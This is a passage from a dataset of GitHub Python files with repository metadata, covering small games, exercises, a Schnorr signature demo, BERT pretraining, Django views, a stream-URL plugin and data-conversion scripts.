255)\nCircleRadius=20\nrect2Y=100\n\npygame.init()\npygame.display.set_caption(\"Pong!\")\nscreen = pygame.display.set_mode(screensize)\nclock= pygame.time.Clock()\nwhile True:\n clock.tick(60)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n\n screen.fill (BackgroundColor)\n\n pressed_keys = pygame.key.get_pressed()\n if pressed_keys [K_w]:\n rectY = rectY - rect_speed\n if pressed_keys [K_s]:\n rectY = rectY + rect_speed\n\n if pressed_keys[K_DOWN]:\n rect2Y = rect2Y + rect_speed\n if pressed_keys[K_UP]:\n rect2Y = rect2Y - rect_speed\n\n CircleX = CircleX + circlexspeed\n print(CircleX)\n if CircleX > 628:\n circlexspeed = -6\n if CircleX < 12:\n circlexspeed = 6\n\n CircleY = CircleY - circleyspeed\n if CircleY < 20 or CircleY > 461:\n circleyspeed = -1 * circleyspeed\n\n collided1 = pygame.Rect(rectX, rectY, 20, 75).collidepoint(CircleX - CircleRadius, CircleY)\n collided2 = pygame.Rect(rect2X, rect2Y, 20, 75).collidepoint(CircleX + CircleRadius, CircleY)\n if collided1 or collided2 :\n circlexspeed = circlexspeed * -1\n\n # pygame.draw.rect(screen, (255, 255, 0)())\n\n pygame.draw.circle(screen, CircleColor, (CircleX, CircleY), CircleRadius)\n pygame.draw.rect(screen, (60, 180, 0), (rectX, rectY, 20, 75))\n\n pygame.draw.rect(screen, (60, 180, 0), (rect2X, rect2Y, 20, 75))\n pygame.display.update()\n\n","repo_name":"Rosebotics/PythonGameDesign2019","sub_path":"camp/Bryer/Day 2 - Continuing Pong/01-Pong.py","file_name":"01-Pong.py","file_ext":"py","file_size_in_byte":1739,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"31055477927","text":"lst=[1,2,3,4,5,6,7,8,9,10]\nnum=int(input(\"Enter a number you want to search for :\"))\nflag=0\nfor i in lst:\n if(num==i):\n flag=1\n break\nif(flag>0):\n print(\"Element found\")\nelse:\n print(\"Element not found\")\n\n","repo_name":"Ajith-MS/april","sub_path":"sampleworkouts/linear_search.py","file_name":"linear_search.py","file_ext":"py","file_size_in_byte":228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"27268942462","text":"from pycallgraph import Config\nfrom pycallgraph import GlobbingFilter\nfrom pycallgraph import PyCallGraph\nfrom pycallgraph.output import GraphvizOutput\n\nfrom hashlib import sha1\n\n\ndef square_multiply(a, n, m):\n t = a % m\n result = 1\n judge = 1\n while n > 0:\n if judge & n:\n result = (result * t) % m\n n = n >> 1\n t = (t * t) % m\n return result\n\n\ndef schnorr(m, p, q, a, mode, KEY, link):\n if mode == 'Sign':\n k = link[0]\n r = square_multiply(a, k, p)\n e = int(sha1((m + str(r)).encode('utf-8')).hexdigest(), 16)\n s = (k + KEY * e) % q\n return e, s\n elif mode == 'Vrfy':\n e = link[0]\n s = link[1]\n r = (square_multiply(a, s, p) * square_multiply(KEY, e, p)) % p\n hash = int(sha1((m + str(r)).encode('utf-8')).hexdigest(), 16)\n if hash == e:\n return True\n else:\n return False\n\n else:\n print('mode wrong!')\n return None\n\n\ndef main():\n p = int(input().strip())\n q = int(input().strip())\n a = int(input().strip())\n m = input().strip()\n\n mode = input().strip()\n\n if mode == 'Sign':\n x = int(input().strip())\n k = int(input().strip())\n ans1, ans2 = schnorr(m, p, q, a, mode, x, [k])\n print(ans1, ans2)\n elif mode == 'Vrfy':\n v = int(input().strip())\n link = input().strip().split()\n e = int(link[0])\n s = int(link[1])\n ans = schnorr(m, p, q, a, mode, v, [e, s])\n print(ans)\n else:\n print('mode wrong!')\n return None\n\n\nif __name__ == \"__main__\":\n ############################################################################\n '''\n 生成函数调用图\n '''\n config = Config()\n config.trace_filter = GlobbingFilter(\n include=[\n '*'\n ]\n )\n config.trace_filter = GlobbingFilter(\n exclude=['pycallgraph.*']\n )\n ############################################################################\n\n graphviz = GraphvizOutput()\n graphviz.output_file = 'Schnorr.png'\n with PyCallGraph(output=graphviz, config=config):\n main()\n main()\n","repo_name":"Komorebi-yaodong/Cryptography-Experiment","sub_path":"实验10/Schnorr.py","file_name":"Schnorr.py","file_ext":"py","file_size_in_byte":2177,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"10173360253","text":"import numpy as np\nfrom matplotlib import pyplot as plt\nfrom matplotlib.animation import FuncAnimation\nimport matplotlib.patheffects as path_effects\nplt.style.use('seaborn-pastel')\n \nfig = plt.figure()\n\n\nax = plt.axes(xlim=(0, 4), ylim=(-2, 2))\n\n\ntext = ax.text(0.5, 0.5, [], color='white',\n ha='center', va='center', size=30)\n\ntext.set_path_effects([path_effects.Stroke(linewidth=3, foreground='black'),\n path_effects.Normal()])\n\nline, = ax.plot([], [], lw=3)\n \ndef init():\n #line.set_data([], [])\n\n return line,\n\ndef animate(i):\n x = np.linspace(0, 4, 1000)\n y = np.sin(2 * np.pi * (x - 0.01 * i))\n\n line.set_data(x, y)\n\n return line,\n \nanim = FuncAnimation(fig, animate, init_func=init,\n frames=100, interval=20, blit=True)\n\nplt.show()\n","repo_name":"hanzt0528/Speech","sub_path":"tests/python/test_animation.py","file_name":"test_animation.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"41165622438","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom absl import app\nfrom absl import flags\nfrom absl import logging\nimport tensorflow as tf\nimport horovod.tensorflow as hvd\nimport os\n\n# Import BERT model libraries.\nfrom official.nlp import bert_models\nimport common_flags\nimport input_pipeline\nimport model_saving_utils\nfrom official.modeling import model_training_utils\nfrom official.nlp import bert_modeling as modeling\nimport optimization\nimport gpu_affinity\nimport dllogger_class\nfrom official.utils.misc import distribution_utils\nfrom official.utils.misc import keras_utils\nfrom official.utils.misc import tpu_lib\n\nflags.DEFINE_string('input_files', None,\n 'File path to retrieve training data for pre-training.')\n# Model training specific flags.\nflags.DEFINE_integer(\n 'max_seq_length', 128,\n 'The maximum total input sequence length after WordPiece tokenization. '\n 'Sequences longer than this will be truncated, and sequences shorter '\n 'than this will be padded.')\nflags.DEFINE_integer('max_predictions_per_seq', 20,\n 'Maximum predictions per sequence_output.')\nflags.DEFINE_integer('train_batch_size', 32, 'Total batch size for training.')\nflags.DEFINE_integer('num_steps_per_epoch', 1000,\n 'Total number of training steps to run per epoch.')\nflags.DEFINE_float('warmup_steps', 10000,\n 'Warmup steps for Adam weight decay optimizer.')\n\ncommon_flags.define_common_bert_flags()\n\nFLAGS = flags.FLAGS\n\n\ndef get_pretrain_dataset_fn(input_file_pattern, seq_length,\n max_predictions_per_seq, global_batch_size):\n \"\"\"Returns input dataset from input file string.\"\"\"\n def _dataset_fn(ctx=None):\n \"\"\"Returns tf.data.Dataset for distributed BERT pretraining.\"\"\"\n input_patterns = input_file_pattern.split(',')\n batch_size = ctx.get_per_replica_batch_size(\n global_batch_size) if ctx else global_batch_size\n train_dataset = input_pipeline.create_pretrain_dataset(\n input_patterns,\n seq_length,\n max_predictions_per_seq,\n batch_size,\n is_training=True,\n input_pipeline_context=ctx,\n use_horovod=FLAGS.use_horovod)\n return train_dataset\n\n return _dataset_fn\n\n\ndef get_loss_fn(loss_factor=1.0):\n \"\"\"Returns loss function for BERT pretraining.\"\"\"\n\n def _bert_pretrain_loss_fn(unused_labels, losses, **unused_args):\n return tf.keras.backend.mean(losses) * loss_factor\n\n return _bert_pretrain_loss_fn\n\n\ndef run_customized_training(strategy,\n bert_config,\n max_seq_length,\n max_predictions_per_seq,\n model_dir,\n steps_per_epoch,\n steps_per_loop,\n epochs,\n initial_lr,\n warmup_steps,\n input_files,\n train_batch_size):\n \"\"\"Run BERT pretrain model training using low-level API.\"\"\"\n\n train_input_fn = get_pretrain_dataset_fn(input_files, max_seq_length,\n max_predictions_per_seq,\n train_batch_size)\n\n def _get_pretrain_model():\n \"\"\"Gets a pretraining model.\"\"\"\n pretrain_model, core_model = bert_models.pretrain_model(\n bert_config, max_seq_length, max_predictions_per_seq, float_type=tf.float16 if FLAGS.use_fp16 else tf.float32)\n pretrain_model.optimizer = optimization.create_optimizer(\n initial_lr, steps_per_epoch * epochs, warmup_steps, FLAGS.optimizer_type)\n if FLAGS.use_fp16:\n pretrain_model.optimizer = tf.keras.mixed_precision.LossScaleOptimizer(pretrain_model.optimizer,\n dynamic=True)\n return pretrain_model, core_model\n\n dllogging = dllogger_class.dllogger_class(FLAGS.dllog_path)\n params = {'dllogging' : dllogging, 'FLAGS' : FLAGS}\n logging.info(\"init_lr = %f\", initial_lr)\n trained_model = model_training_utils.run_customized_training_loop(\n strategy=strategy,\n model_fn=_get_pretrain_model,\n loss_fn=get_loss_fn(\n loss_factor=1.0 /\n strategy.num_replicas_in_sync if FLAGS.scale_loss and strategy else 1.0),\n model_dir=model_dir,\n train_input_fn=train_input_fn,\n steps_per_epoch=steps_per_epoch,\n num_accumulative_step=FLAGS.num_accumulation_steps,\n steps_per_loop=steps_per_loop,\n epochs=epochs,\n sub_model_export_name='pretrained/bert_model',\n init_checkpoint=FLAGS.init_checkpoint,\n hvd=hvd if FLAGS.use_horovod else None,\n params=params)\n\n return trained_model\n\n\ndef run_bert_pretrain(strategy):\n \"\"\"Runs BERT pre-training.\"\"\"\n\n bert_config = modeling.BertConfig.from_json_file(FLAGS.bert_config_file)\n # Padding for divisibility by 8\n # if bert_config.vocab_size % 8 != 0:\n # bert_config.vocab_size += 8 - bert_config.vocab_size % 8\n if strategy:\n logging.info('Training using customized training loop TF 2.0 with distrubuted'\n 'strategy.')\n\n keras_utils.set_config_v2(FLAGS.enable_xla)\n # Runs customized training loop.\n return run_customized_training(\n strategy,\n bert_config,\n FLAGS.max_seq_length,\n FLAGS.max_predictions_per_seq,\n FLAGS.model_dir,\n FLAGS.num_steps_per_epoch,\n FLAGS.steps_per_loop,\n FLAGS.num_train_epochs,\n FLAGS.learning_rate * hvd.size() if FLAGS.use_horovod else FLAGS.learning_rate,\n FLAGS.warmup_steps,\n FLAGS.input_files,\n FLAGS.train_batch_size)\n\n\ndef main(_):\n # Users should always run this script under TF 2.x\n assert tf.version.VERSION.startswith('2.')\n\n if not FLAGS.model_dir:\n FLAGS.model_dir = '/tmp/bert20/'\n\n gpus = tf.config.experimental.list_physical_devices('GPU')\n for gpu in gpus:\n tf.config.experimental.set_memory_growth(gpu, True)\n\n strategy = distribution_utils.get_distribution_strategy(\n distribution_strategy=FLAGS.distribution_strategy,\n num_gpus=FLAGS.num_gpus,\n tpu_address=FLAGS.tpu)\n if strategy:\n print('***** Number of cores used : ', strategy.num_replicas_in_sync)\n\n if FLAGS.use_horovod:\n if strategy:\n raise ValueError('Should not run horovod with distribution strategy')\n\n hvd.init()\n if gpus:\n tf.config.experimental.set_visible_devices(gpus[hvd.local_rank()], 'GPU')\n gpu_affinity.set_affinity(hvd.local_rank())\n\n if FLAGS.use_fp16:\n policy = tf.keras.mixed_precision.experimental.Policy(\"mixed_float16\")\n tf.keras.mixed_precision.experimental.set_policy(policy)\n\n run_bert_pretrain(strategy)\n\n\nif __name__ == '__main__':\n app.run(main)\n","repo_name":"NVIDIA/DeepLearningExamples","sub_path":"TensorFlow2/LanguageModeling/BERT/run_pretraining.py","file_name":"run_pretraining.py","file_ext":"py","file_size_in_byte":6736,"program_lang":"python","lang":"en","doc_type":"code","stars":11741,"dataset":"github-code","pt":"38"} +{"seq_id":"6046367786","text":"import json\r\nimport urllib.request\r\n\r\nimport requests\r\n\r\nfrom . import logger\r\nfrom ..engine.decorators import Plugin\r\nfrom ..engine.download import DownloadBase\r\n\r\n\r\n@Plugin.download(regexp=r'(?:https?://)?(?:(?:www|m|live)\\.)?douyin\\.com')\r\nclass Douyin(DownloadBase):\r\n def __init__(self, fname, url, suffix='flv'):\r\n super().__init__(fname, url, suffix)\r\n\r\n def check_stream(self):\r\n if len(self.url.split(\"live.douyin.com/\")) < 2:\r\n logger.debug(\"直播间地址错误\")\r\n return False\r\n rid = self.url.split(\"live.douyin.com/\")[1]\r\n headers = {\r\n \"user-agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \"\r\n \"Chrome/94.0.4606.71 Safari/537.36 Edg/94.0.992.38\",\r\n \"referer\": \"https://live.douyin.com/\"\r\n }\r\n try:\r\n r1 = requests.get('https://live.douyin.com/' + rid, headers=headers).text \\\r\n .split('')[0]\r\n except IndexError:\r\n logger.debug(\"连接异常\")\r\n return False\r\n r2 = urllib.request.unquote(r1)\r\n try:\r\n r3 = json.loads(r2)['routeInitialProps']['error']\r\n if r3:\r\n logger.debug(\"直播间不存在\")\r\n return False\r\n except KeyError:\r\n logger.debug(\"直播间存在\")\r\n try:\r\n r5 = json.loads(r2)['initialState']['roomStore']['roomInfo']['room']['stream_url']['flv_pull_url']\r\n i = 0\r\n for k in r5:\r\n if i < 1:\r\n r6 = k\r\n i = i + 1\r\n self.raw_stream_url = r5[r6]\r\n return True\r\n except KeyError:\r\n logger.debug(\"主播未开播\")\r\n return False\r\n","repo_name":"AI-lumin/Biliuper","sub_path":"biliup/plugins/douyin.py","file_name":"douyin.py","file_ext":"py","file_size_in_byte":1874,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"38"} +{"seq_id":"8123469955","text":"import pandas as pd\nfrom pandas.testing import assert_frame_equal\n\nfrom utilities.standard_transformations import is_at_least_one_set\n\n\ndef test_is_at_least_one_set():\n test_data = {\n \"id\": [1, 2, 3],\n \"received_date1\": [\n \"2021-01-01\",\n None,\n \"\",\n ],\n \"received_date2\": [\n \"2021-02-02\",\n None,\n None,\n ],\n \"received_date3\": [\n \"2021-03-03\",\n None,\n None,\n ],\n \"received_date4\": [\n None,\n None,\n \"\",\n ],\n }\n test_data_df = pd.DataFrame(test_data)\n\n result_col = \"has_received_date\"\n\n expected_data = test_data.copy()\n expected_data[result_col] = [True, False, False]\n expected_data_df = pd.DataFrame(expected_data)\n\n result_df = is_at_least_one_set(\n original_cols=[\n \"received_date1\",\n \"received_date2\",\n \"received_date3\",\n \"received_date4\",\n ],\n result_col=result_col,\n df=test_data_df,\n )\n\n assert_frame_equal(expected_data_df, result_df)\n","repo_name":"ministryofjustice/opg-data-casrec-migration","sub_path":"migration_steps/transform_casrec/transform/transform_tests/utilities_tests/standard_transformations/is_at_least_one_set/test_is_at_least_one_set.py","file_name":"test_is_at_least_one_set.py","file_ext":"py","file_size_in_byte":1140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"10164332608","text":"from django.shortcuts import render\nfrom .models import *\nfrom .forms import FlightSearchForm\nfrom django.utils.timezone import now, timedelta\nfrom django.http import HttpResponse\n\n\ndef home(request):\n title = 'Home'\n all_flights = Flight.objects.all()\n recent_flights = Flight.objects.filter(arrival_time__gte=now() - timedelta(hours=2),\n departure_time__lte=now() + timedelta(hours=2)).order_by('departure_time')\n for flight in recent_flights:\n flight.departure_time = flight.departure_time.strftime('%H:%M')\n flight.arrival_time = flight.arrival_time.strftime('%H:%M')\n return render(request, 'airticket_booking/home.html',\n {'title': title, 'flights': recent_flights})\n\n\ndef search_flights(request):\n template = 'airticket_booking/search_flights.html'\n\n if request.method == 'POST':\n form = FlightSearchForm(request.POST)\n if form.is_valid():\n airline_name = form.cleaned_data.get('airline_name')\n flight_num = form.cleaned_data.get('flight_num')\n print(flight_num)\n departure_airport = form.cleaned_data.get('departure_airport')\n arrival_airport = form.cleaned_data.get('arrival_airport')\n date = form.cleaned_data.get('date')\n kwargs = {\n 'airplane__airline_name': airline_name,\n 'flight_num': flight_num,\n 'departure_airport': departure_airport,\n 'arrival_airport': arrival_airport,\n 'departure_time__date': date,\n }\n items = list(kwargs.items())\n for key, value in items:\n if value is None or value == '':\n kwargs.pop(key)\n print(kwargs)\n results = Flight.objects.filter(**kwargs)[:20] # only first 20 results to prevent crash (wouldn't happen unless there's a million of them though)\n return render(request, template, {'form': form, 'results': results})\n\n else:\n form = FlightSearchForm()\n return render(request, template, {'form': form})\n\n\n# def staff_view_flights(request):\n# title = 'View Flights'\n# flights =\n","repo_name":"hl2638/Air-Ticket-Booking","sub_path":"airticket_booking/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2208,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"39897941108","text":"\nfrom django.core.management.base import BaseCommand\nfrom django.contrib.auth.models import Group\nfrom users.models import User\n\n\nclass Command(BaseCommand):\n help = 'Add the groups \\'staff\\' and \\'politician\\' to the Database and add all Superusers to staff'\n\n def handle(self, *args, **options):\n staff_group = Group.objects.get_or_create(name=\"staff\")[0]\n Group.objects.get_or_create(name=\"politician\")[0]\n\n admins = User.objects.filter(is_admin=True)\n\n for u in admins:\n print(u.username)\n staff_group.user_set.add(u)\n\n staff_group.save()\n","repo_name":"wepublic/backend","sub_path":"users/management/commands/load_groups.py","file_name":"load_groups.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"} +{"seq_id":"41088957338","text":"# -*- coding: utf-8 -*-\r\nfrom Book import Book\r\nfrom Catalog import Catalog\r\nfrom User import Member, Librarian\r\n\r\n#b1 = Book('Shoe Dog','Phil Knight', '2015',312)\r\n#b1.addBookItem('123hg','H1B2')\r\n#b1.addBookItem('124hg','H1B3')\r\n\r\n#b1.printBook()\r\n\r\ncatalog = Catalog()\r\n\r\nb = catalog.addBook('Shoe Dog','Phil Knight', '2015',312)\r\ncatalog.addBookItem(b, '123hg','H1B2')\r\ncatalog.addBookItem(b, '124hg','H1B4')\r\ncatalog.addBookItem(b, '125hg','H1B5')\r\n\r\nb = catalog.addBook('Moonwalking with Einstien','J Foer', '2017',318)\r\ncatalog.addBookItem(b, '463hg','K1B2')\r\n\r\nb = catalog.addBook('Pax','Sara Pennypacker', '2017', 288)\r\ncatalog.addBookItem(b,'554jk','M24A')\r\ncatalog.addBookItem(b,'556jk','M25A')\r\ncatalog.addBookItem(b,'557jk','M26A')\r\n#catalog.displayAllBooks()\r\n\r\n\r\n\r\n# #member\r\n# m1 = Member(\"Vish\",\"Bangalore\",23,'asljlkj22','std1233')\r\n# m1.availableBooks(catalog)\r\n# print (m1)\r\n# #print (librarian)\r\n\r\n\r\n\r\n\r\n# m1.issueBook('Moonwalking with Einstien',catalog)\r\n# m1.returnBook('Moonwalking with Einstien',catalog)\r\n\r\n\r\n#\r\n\r\n# catalog.displayAllBooks()\r\n\r\n#b = catalog.searchByName('Shoe Dog')\r\n#print (b)\r\n\r\n#b = catalog.searchByAuthor('J Foer')\r\n#print(b)\r\n\r\ncatalog.removeBookItem('Shoe Dog','124hg')\r\ncatalog.removeBook('Shoe Dog')\r\ncatalog.displayAllBooks()\r\n\r\n# #reference to Librarian class object\r\n# librarian = Librarian(\"Awantik\",\"Bangalore\",34,'asljlkj22','zeke101') \r\n\r\n# # adding a book by librarian\r\n# b2 =librarian.addBook(\"This is Going to Hurt: Secret Diaries of a Junior Doctor\",\"Adam Key\",'2017', 302,catalog)\r\n# #adding details\r\n# librarian.addBookItem(b2,'234c','l203',catalog)\r\n\r\n# #displaying all the books till now added\r\n# librarian.displayAddedBook(catalog)\r\n\r\n# #library remove book\r\n# librarian.removeBook('Shoe Dog')\r\n# #displaying book after removing\r\n# librarian.displayAddedBook(catalog)\r\n\r\n","repo_name":"007urmi/Edyoda_python","sub_path":"TestFunctions.py","file_name":"TestFunctions.py","file_ext":"py","file_size_in_byte":1839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31886989190","text":"import numpy as np\nclass BranchEdge:\n \"\"\"BranchEdge\"\"\"\n def __init__(self, pixels=[]):\n \"\"\"Initial the edge by the pixels\n Args:\n pixels (list[ numpy vector(3)]): \n \"\"\"\n self.pixels = []\n self.n_node =0\n self.length =0\n self.add_pixels(pixels)\n self.startbracnch=None\n self.endbracnch=None\n def update_length(self):\n \"\"\"Update the length by self.pixels\n \"\"\"\n if len(self.pixels) <= 0:\n self.length = 0\n return\n self.length = np.linalg.norm(self.pixels[0]-self.pixels[-1])\n def neighbor_check(self,pixel1,pixel2):\n \"\"\"Check if two pixels are neighbors (always return True because the graph bulding algorithm can not satify this check)\n Args:\n pixel1 (numpy vector(3))\n pixel2 (numpy vector(3))\n Returns:\n bool: The return value. True for are neighbors, False otherwise.\n \"\"\"\n if np.linalg.norm(pixel1-pixel2)>2:\n return False\n return True\n def add_pixels(self,newpixels):\n \"\"\"Add a list of pixels\n \n Add a list of pixels and update corresponding attrs(n_node, length) \n Args:\n newpixels (list[ numpy vector(3)]): \n \"\"\"\n if len(newpixels) <= 0:\n return\n assert newpixels[0].size==3,\"pixel must contine 3 coordinates(x,y,z)\"\n for ni in range(len(newpixels)-1):\n assert newpixels[ni+1].size==3,\"pixel must contine 3 coordinates(x,y,z)\"\n #assert self.neighbor_check(newpixels[ni],newpixels[ni+1]),\"pixels not continuous\"\n self.n_node += len(newpixels)\n self.pixels += newpixels\n self.update_length()\n def add_pixel(self,newpixel):\n \"\"\"Add a pixel\n\n Add a list of pixel and update corresponding attrs(n_node, length) \n Args:\n newpixel (numpy vector(3)): \n \"\"\"\n assert newpixel.size==3,\"pixel must contine 3 coordinates(x,y,z)\"\n #assert (not self.pixels) or self.neighbor_check(self.pixels[-1],newpixel),\"pixels not continuous\"\n self.n_node += 1\n self.pixels += [newpixel]\n self.update_length()\n\n def add_pixels_nocontinious(self,newpixels):\n \"\"\"Add a list of pixels(sort the pixels to be continuouis)\n \n Add a list of pixels and update corresponding attrs(n_node, length) \n Args:\n newpixels (list[ numpy vector(3)]): \n \"\"\"\n if len(newpixels) <= 0:\n return\n assert newpixels[0].size==3,\"pixel must contine 3 coordinates(x,y,z)\"\n for ni in range(len(newpixels)-1):\n assert newpixels[ni+1].size==3,\"pixel must contine 3 coordinates(x,y,z)\"\n self.n_node += len(newpixels)\n self.pixels += newpixels\n self.update_length()\n '''if len(newpixels) <= 0:\n return\n newpixels_conti = []\n lastpixel = self.pixels[-1]\n while newpixels:\n found_flag = False\n for p in newpixels:\n if self.neighbor_check(lastpixel,p):\n found_flag = True\n newpixels_conti.append(p)\n newpixels.remove(p)\n lastpixel = p\n break\n if not found_flag:\n break\n \n assert newpixels_conti[0].size==3,\"pixel must contine 3 coordinates(x,y,z)\"\n for ni in range(len(newpixels_conti)-1):\n assert newpixels_conti[ni+1].size==3,\"pixel must contine 3 coordinates(x,y,z)\"\n self.n_node += len(newpixels_conti)\n self.pixels += newpixels_conti\n self.update_length()'''\n\n\n\nif __name__ == '__main__':\n a = BranchEdge([np.zeros(3),np.ones(3)])\n print(a,a.n_node,a.length,a.pixels)\n a.add_pixel(np.ones(3)*2)\n print(a,a.n_node,a.length,a.pixels)\n a.add_pixels([np.ones(3)*3,np.ones(3)*4])\n print(a,a.n_node,a.length,a.pixels)\n #a.add_pixel(np.ones(3)*2)\n #print(a,a.n_node,a.length,a.pixels)\n print('type check',type(a),type(a) is BranchEdge)\n\n","repo_name":"tznbz/Airway-Anomaly-Detection-by-Prototype-based-Graph-Neural-Network","sub_path":"code/branchEdge.py","file_name":"branchEdge.py","file_ext":"py","file_size_in_byte":4089,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"37"} +{"seq_id":"70998225066","text":"import sys\n\nsys.setrecursionlimit((int(2e5)))\n\nn, x = map(int, input().split())\ng = [[] for _ in range(n + 1)]\nfor _ in range(n - 1):\n u, v = map(int, input().split())\n g[u].append(v)\n g[v].append(u)\nprint(g)\n\n\ndef solve():\n ret = 0\n\n def dfs(cnt, pre):\n ans = 1\n for nxt in g[cnt]:\n if nxt == pre:\n continue\n if (cnt & 1) == (nxt & 1):\n ans += dfs(nxt, cnt)\n else:\n dfs(nxt, cnt)\n nonlocal ret\n ret += ans\n return ans\n\n dfs(x, -1)\n return ret\n\n\nprint(solve())\n","repo_name":"ApotoxinElish/Jupyter","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35564897076","text":"from jsonlines import jsonlines\nimport logging\nfrom pathlib import Path\nimport glob\nfrom dataset_creator import ParserWithUsage\n\ndef fasttext_from_jsonl(file_path_input, writer):\n with jsonlines.open(file_path_input) as reader:\n for line in reader:\n example = line['text'] + \" __label__\" + line['label'] + \"\\n\"\n writer.write(example)\n\n\ndef main():\n logging.basicConfig(format='%(asctime)s %(levelname)s: %(message)s', level=logging.INFO,\n datefmt='%m/%d/%Y %H:%M:%S')\n parser = ParserWithUsage()\n parser.description = \"Takes a directory of JSONL files and outputs valid files for fasttext training\"\n parser.add_argument(\"--dataset_path\", help=\"Path to JSONL-file\", required=True, type=str)\n parser.add_argument(\"--output\", help=\"Path to directory where to save the processed output\",\n type=Path, required=True)\n parser.add_argument(\"--force\", \"-f\", help=\"Whether to overwrite the output directory\",\n action=\"store_true\")\n args = parser.parse_args()\n dataset_path_str: str = args.dataset_path\n if not dataset_path_str.endswith('/'):\n dataset_path_str += '/'\n dataset_path: Path = Path(dataset_path_str)\n\n out_path: Path = args.output\n force: bool = args.force\n\n logging.info(\"STARTED\")\n if out_path.exists():\n msg = f\"Output path already exists: {out_path}.\"\n if force:\n logging.warning(\n f\"{msg} Will overwrite.\")\n import shutil\n shutil.rmtree(out_path)\n out_path.mkdir(exist_ok=False)\n else:\n raise ValueError(f\"{msg} Use --force to overwrite\")\n if out_path.is_file():\n raise ValueError(f\"Output path is a file. Please provide a directory: {out_path}\")\n else:\n out_path.mkdir(exist_ok=False)\n if not dataset_path.exists():\n raise ValueError(f\"Path does not exist: {dataset_path}\")\n\n files = []\n for filename in glob.iglob(dataset_path_str + '**/*' + '.jsonl', recursive=True):\n if \"all\" not in filename:\n files.append(filename)\n\n logging.info(\"Reading files: \" + files.__str__())\n for i in range(len(files)):\n filename = files[i]\n logging.info(\"Reading file: \" + filename.__str__())\n out_file = out_path / (str(i) + \".txt\")\n writer = open(out_file, mode='w', encoding='utf-8')\n fasttext_from_jsonl(filename, writer)\n writer.close()\n logging.info(\"DONE\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"AU-DIS/LSTM_langid","sub_path":"src/fasttext_data_creator.py","file_name":"fasttext_data_creator.py","file_ext":"py","file_size_in_byte":2549,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"37"} +{"seq_id":"34169123418","text":"#!/usr/bin/env python3\n\nimport sys\nimport pyperclip\nimport logging\nimport webbrowser\n\n'''\nmap_it.py\n - opens a browser to Google Maps based on command line arguments or clipboard\n\n'''\n\nBASE_URL = 'https://www.google.com/maps/place/'\n\nif __name__ == '__main__':\n logging.basicConfig(level=logging.DEBUG, format=' %(asctime)s - %(levelname)s - %(message)s')\n logging.debug('Starting %s...' % sys.argv[0])\n logging.debug('sys.argv: %s' % ' '.join(sys.argv))\n logging.debug('clipboard: %s' %pyperclip.paste())\n # grab the street address from CLI if there are more than two arguments\n # if there is only one argument, grab street address from clipboard\n address = ''\n if len(sys.argv) >= 2:\n address = ' '.join(sys.argv[1:])\n else:\n address = pyperclip.paste()\n\n if address == '':\n print('Address is empty')\n exit(-1)\n\n logging.debug(\"Address is %s\" % address)\n url = BASE_URL + address\n logging.debug(\"URL is %s\" % url)\n webbrowser.open(url)\n logging.debug(\"done.\")\n","repo_name":"benosment/automate","sub_path":"map_it.py","file_name":"map_it.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4444558703","text":"MENU = {\n \"espresso\": {\n \"ingredients\": {\n \"water\": 50,\n \"milk\": 0,\n \"coffee\": 18,\n },\n \"cost\": 1.5,\n },\n \"latte\": {\n \"ingredients\": {\n \"water\": 200,\n \"milk\": 150,\n \"coffee\": 24,\n },\n \"cost\": 2.5,\n },\n \"cappuccino\": {\n \"ingredients\": {\n \"water\": 250,\n \"milk\": 100,\n \"coffee\": 24,\n },\n \"cost\": 3.0,\n }\n}\n\nresources = {\n \"water\": 300,\n \"milk\": 200,\n \"coffee\": 100,\n}\n\n\n# def your_option():\n# coffee = input(\"what would you like?(espresso/latte/cappuccino): \")\n# if coffee == \"report\":\n# print(resources, current_money)\n# return resources, current_money\n# else:\n# return coffee\n\n\ndef calculate_your_pay():\n quarters = int(input(\"How many quarters?: \"))\n dimes = int(input(\"How many dimes?: \"))\n nickles = int(input(\"How many nickles?: \"))\n pennies = int(input(\"How many pennies?: \"))\n pay = quarters * 0.25 + dimes * 0.1 + nickles * 0.05 + pennies * 0.01\n return pay\n\n\ndef check_resources(your_choice):\n if resources[\"water\"] < your_choice[\"ingredients\"][\"water\"]:\n print(\"there is not enough water\")\n return False\n if resources[\"milk\"] < your_choice[\"ingredients\"][\"milk\"]:\n print(\"there is not enough milk\")\n return False\n if resources[\"coffee\"] < your_choice[\"ingredients\"][\"coffee\"]:\n print(\"there is not enough coffee\")\n return False\n else:\n return True\n\n\ndef machine_take_money(your_coins, coffee_cost):\n if your_coins > coffee_cost:\n change = your_coins - coffee_cost\n print(f\"your change is {change}\")\n return True\n elif your_coins == coffee_cost:\n print(\"enjoy your coffee\")\n return True\n else:\n print(\" not enough money, here is your refund\")\n return False\n\n\ndef machine_make_coffee(your_choice, your_choice_needs):\n resources[\"water\"] -= 